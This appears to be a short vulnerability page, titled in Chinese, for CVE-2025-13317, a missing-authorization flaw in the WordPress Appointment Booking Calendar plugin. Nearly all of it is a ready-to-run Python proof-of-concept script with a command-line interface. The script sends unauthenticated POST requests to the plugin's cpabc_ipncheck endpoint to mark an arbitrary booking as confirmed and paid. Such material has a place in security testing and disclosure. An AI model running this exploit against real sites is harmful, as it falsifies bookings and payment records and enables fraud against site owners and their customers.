CVE-2025-13317 WordPress Appointment Booking Calendar未授权预订确认漏洞

import requests import sys # CVE-2025-13317 PoC # Missing Authorization in Appointment Booking Calendar < 1.3.97 # Attackers can confirm arbitrary bookings via cpabc_ipncheck parameter def exploit(target_url, booking_id): """ Exploit for CVE-2025-13317 Args: target_url: Target WordPress site URL booking_id: ID of the booking to confirm Returns: Response from the server """ # Target endpoint exposed by the plugin endpoint = f"{target_url}/?cpabc_ipncheck=1" # Malicious payload to confirm arbitrary booking # The endpoint trusts attacker-supplied data without verification data = { 'cpabc_ipncheck': '1', 'booking_id': str(booking_id), 'status': 'confirmed', 'payment_status': 'completed' } # Send request without any authentication try: response = requests.post(endpoint, data=data, timeout=10) return response.text, response.status_code except requests.exceptions.RequestException as e: return f"Error: {str(e)}", None if __name__ == '__main__': if len(sys.argv) < 3: print("Usage: python cve-2025-13317.py <target_url> <booking_id>") print("Example: python cve-2025-13317.py http://example.com 12345") sys.exit(1) target = sys.argv[1] booking = sys.argv[2] print(f"[*] Exploiting CVE-2025-13317 on {target}") print(f"[*] Attempting to confirm booking ID: {booking}") result, status = exploit(target, booking) print(f"[*] Response Status: {status}") print(f"[*] Response: {result[:500]}")